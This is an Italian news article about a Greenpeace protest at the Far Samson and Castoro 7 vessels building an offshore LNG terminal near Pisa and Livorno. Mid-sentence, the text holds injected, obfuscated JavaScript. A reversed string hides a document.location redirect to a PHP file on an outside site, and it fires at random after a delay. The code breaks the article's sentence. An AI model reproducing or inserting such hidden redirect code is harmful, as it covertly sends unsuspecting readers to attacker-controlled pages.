"Balene finite": blitz di Greenpeace contro il rigassificatore

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da PisaNotizie

Tre gommoni partiti dalla Rainbow Warrior si sono accostati alla Far Samson, dove hanno esposto due striscioni: “Fine del Santuario” e “Ministro salva il Santuario”. Sulla Castoro 7 gli attivisti hanno scritto “Balene finite”.
Alcuni attivisti di Greenpeace, sarebbero almeno tre, si sono incatenati ieri mattina, intorno alle 7 e trenta, alla piattaforma Castoro 7 che sta lavor (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando alla realizzazione del rigassificatore al largo delle coste tra Pisa e Livorno.

L’azione di Greenpeace è stata compiuta con tre gommoni, partiti dalla nave ammiraglia Rainbow Warrior, che si trova al largo di Livorno. I gommoni si sono avvicinati alla nave Far Samson, che sta lavorando alla costruzione del rigassificatore offshore e alcuni attivisti sono saliti sulla gru esponendo striscioni con scritte “Fine del Santuario” e “Ministro salva il Santuario”.

Il rigassificatore nascerà in un tratto di mare, secondo gli ambientalisti, incluso nel cosiddetto santuario dei cetacei. Mentre alcuni sostenitori di Greenpeace salivano sulla gru della nave, altri, dai gommoni, hanno scritto sulla fiancata della nave “Balene finite”.

Greenpeace ha chiesto un incontro urgente con il Ministro Prestigiacomo. Gli attivisti resteranno sulla gru in attesa della risposta. Il blitz rientra nella serie di iniziative che si conclameranno nella manifestazione contro il rigassificatore che si terrà il 20 marzo a Livorno.

La nave di Greenpeace “Rainbow warrior” si è accostata al Castoro 7 che sta posizionando i cavi dei gasdotti in mare.
Tre gommoni si sono avvicinati, da due sono partiti i climbers che si sono arrampicati fin sulla cima delle gru della Far Samson, la nave di 121 metri che ha il compito di trascinare i due “super aratri” che dovranno tracciare i solchi sul fondale sui quali poi verranno interrati i tubi che collegheranno la piattaforma con la terra ferma. Sulla Far Samson hanno esposto striscioni contro il rigassificatore che, come noto, è stato autorizzato nel bel mezzo del Santuario dei Cetacei. Gli striscioni recitano: “Fine del Santuario” e “Ministro salva il Santuario”, rivolto al ministro Prestigiacomo perché intervenga a bloccare questo scempio “che sarà letale per la vita delle balene presenti in quello specchio di mare”.

“Noi cittadini del comitato contro il rigassificatore abbiamo sempre denunciato anche l’estrema pericolosità dell’impianto – il primo offshore al mondo costruito su nave galleggiante – per gli abitanti di un’area distante dal rigassificatore per un raggio di 55 km”.
Il terzo gommone si è affiancato alla Castoro 7 per scrivere sulla fiancata “Balene finite”. L’azione è in corso. I climbers resteranno sulle gru fino ad una “reazione” del ministro.

“Si tratta di un’area protetta solo sulla carta.- Spiega Giorgia Monti, responsabile della campagna Mare per Greenpeace – Le balene se ne stanno andando mentre lo stato di degrado dell’area aumenta a causa del traffico navale, dell’inquinamento e, ora, della costruzione del primo sito industriale in mare”.
La situazione è critica: durante il censimento condotto nel 2008, Greenpeace ha trovato solo un quarto delle balenottere “attese”, mentre la popolazione di stenelle sembra dimezzata rispetto ai valori registrati agli inizi degli anni ’90.
L’Italia non è quindi molto meglio del Giappone che, dopo aver aderito alla moratoria per la caccia alle balene, trova poi il modo di ucciderle per “scopi scientifici”.

“Il nostro Ministero dell’Ambiente – continuano da Greenpeace – infatti da un lato firma un Accordo internazionale impegnandosi a proteggere i cetacei del Santuario, dall’altro non fa assolutamente nulla per tutelarli. Ma il crimine peggiore resta il via libera alla tanto contestata struttura del rigassificatore offshore della OLT nell’area.”
“Fa rabbia vedere come gli interessi economici abbiano ancora una volta prevalso su quelli dei cittadini e dell’ambiente. Di fronte a falsi conclamati e riconosciuti nel processo di valutazione dei rischi del rigassificatore, alla presenza di rischi ambientali inaccettabili e al fatto che la compatibilità con il Santuario non è per nulla certa, ci chiediamo cosa aspetti il Ministro Prestigiacomo, a prendere una posizione decisa contro questo scempio” continua Monti.
Greenpeace ha inviato una lettera all’Onorevole Stefania Prestigiacomo: “questa è l’ultima possibilità che il Ministro dell’Ambiente ha di dimostrare, con un’azione decisa, la volontà di salvare l’accordo internazionale con Francia e Monaco sul Santuario. Chiediamo urgentemente un incontro con l’Onorevole Prestigiacomo, affinché questi garantisca l’attivazione di un efficace piano di gestione del Santuario, fermi lo scandalo del rigassificatore offshore e riavvii da subito le trattative con la Francia per la tutela delle Bocche di Bonifacio” conclude Monti.

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